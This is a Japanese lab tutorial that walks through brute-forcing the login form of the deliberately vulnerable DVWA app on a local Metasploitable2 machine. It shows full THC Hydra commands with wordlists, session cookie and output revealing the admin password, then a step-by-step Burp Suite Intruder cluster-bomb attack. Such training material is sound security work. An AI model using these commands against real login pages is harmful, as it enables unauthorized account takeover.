THC Hydra (Brute force 攻撃。Intruder 機能)

『Hydra』
www.demandosigno.study

THC Hydra – SecTools Top Network Security Tools

THC: The Hacker's Choice. The oldest and still active security research group. Founded 1995)

Kali と Metasploitable2 を起動する

Burp Suite の起動とブラウザのプロキシ設定

Burp Suite を起動する。ブラウザの Proxy を Burp Suite に変更する。初期設定は下記の通り。
『Burp Suite』
www.demandosigno.study

[Proxy] → [Intercept] → [Intercept is on → off] とする。

ブラウザ、DVWA の起動

  • Firefox を起動し DVWA にアクセスし、ログインする。
  • DVWA の "Security Level: low" を確認し [Brute Force] をクリック。

f:id:hirose-test:20190914041755j:plain

(Security Level の変更は下記参照)

『DVWA 初期設定』
www.demandosigno.study

Brute Force ページのログインメニューに適当な ID と PASSWORD を入力してみる。当然入れない。

f:id:hirose-test:20190914042012j:plain

Burp Suite

Burp Suite の [Target] → [Site map] から先ほどのアクセスを確認する。 (username=hoge, password=hoge

f:id:hirose-test:20190914042705j:plain

Hydra

新しく端末を開く。

root@kali:~# hydra -L /usr/share/wordlists/metasploit/http_default_pass.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.105 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c" -f
  1. hydra コマンドに続けて、オプション -L でユーザーIDの候補リストを指定する
  2. -P でパスワード候補リストも指定する
  3. ターゲットの IPアドレスを指定する
  4. メソッドは GET を使うので http-get-form を指定。以下は全体をダブルクォーテーションでくくる、
  5. 先ほどの DVWA のアクセス記録から IPアドレス以下のURLをコピペする
    ("/dvwa/vulnerabilities/brute/)以降はコロンで区切って、
  6. 同様にパラメータもコピペする (:username=hoge&password=hoge&Login=Login)
  7. 記述したユーザーID と パスワード部分を上記で指定した候補リストで置き換えるために ^ を付けて書き換える
    (:username=^USER^&password=^PASS^&Login=Login)
  8. ブラウザに戻り、ログインに失敗したときのエラーメッセージをコピペする
    (:Username and/or password incorrect.)
  9. Burp Suite に戻り、使用している Cookie を "H=" に付けてコピペする
    (:H=security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c)
  10. 最後にダブルクォートを忘れず付け、後ろに "-f" を付ける(ID,Pass ペアが発見されれば処理を終了する)
  11. コマンドを実行する
root@kali:~# hydra -L /usr/share/wordlists/metasploit/http_default_pass.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.105 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c" -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-09-14 05:02:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task
[DATA] attacking http-get-form://192.168.56.105:80/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c
[80][http-get-form] host: 192.168.56.105   login: admin   password: password
[STATUS] attack finished for 192.168.56.105 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-09-14 05:02:51

解析完了 (下記のように "H=Cookie: security=low" とすべきところを "H=security=low" と少し間違うと、間違った結果が出る(表示のパスではログインできない))

root@kali:~# hydra -L /usr/share/wordlists/metasploit/http_default_pass.txt -P /usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.105 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c" -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-09-14 05:06:18
[DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task
[DATA] attacking http-get-form://192.168.56.105:80/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=security=low; PHPSESSID=f8422ed1e510654123861733d87a1c1c
[80][http-get-form] host: 192.168.56.105   login: admin   password: system
[STATUS] attack finished for 192.168.56.105 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-09-14 05:06:19

Burp Suite のイントルーダー機能を使用した Brute Force 攻撃(intruder : 侵入者)

  • Burp Suite の [Proxy] → [Intercept off → on] に変更
  • DVWA の Bruite Force ページでいい加減な IDとPASS(hoge, hoge)を入力してログインボタンを押す(画面は遷移しない)
  • Burp Suite に戻り、Intercept 画面で右クリック → [Send to Intruder] を選択

f:id:hirose-test:20190914052951p:plain

  • 次に [Intruder] タブをクリックして [Positions] タブを選択
  • ここには Burp Suite が推測した「変更可能な値」がハイライトされているが、右側の [Clear $] ボタンで消去する

f:id:hirose-test:20190914055505j:plain

  • ユーザーネームを選択して [Add $] をクリック(§ : Section sign セクションマーク)
  • 同様にパスワードも選択して [Add $] をクリック
  • 上部 [Attack type] ドロップダウンリストから [Cluster bomb] を選択

f:id:hirose-test:20190914055824j:plain

  • [Payloads] タブに移り、"Payload set" を "1" のまま、"Payload Option" 欄にユーザーネームの候補を作成していく。[Add]欄に記入 → [Add]
  • "Payload set" を "2" に変更し、同様にパスワード候補を作成していく

f:id:hirose-test:20190914062025j:plain

  • [Options] タブに移り、"Attack Result" 欄の "Store requests" と "Store responses" にチェックが付いていることを確認する
  • 最上部のメニュー欄から [Intruder] → [Start attack] をクリックする
  • 「無料版は機能が制限されています」といいうダイアログボックスが表示されるので [OK] を選択

f:id:hirose-test:20190914060417j:plain
f:id:hirose-test:20190914060514j:plain

  • Intruder の結果を見ると "Length" が異なるものがあり、Brute Force が成功したことが分かる

f:id:hirose-test:20190914060937j:plain

  • [Proxy] → [Intercept on → off] に変更
  • ブラウザで DVWA を表示し、先ほどの admin, password でログインできることを確認する

f:id:hirose-test:20190914061108j:plain

/* -----codeの行番号----- */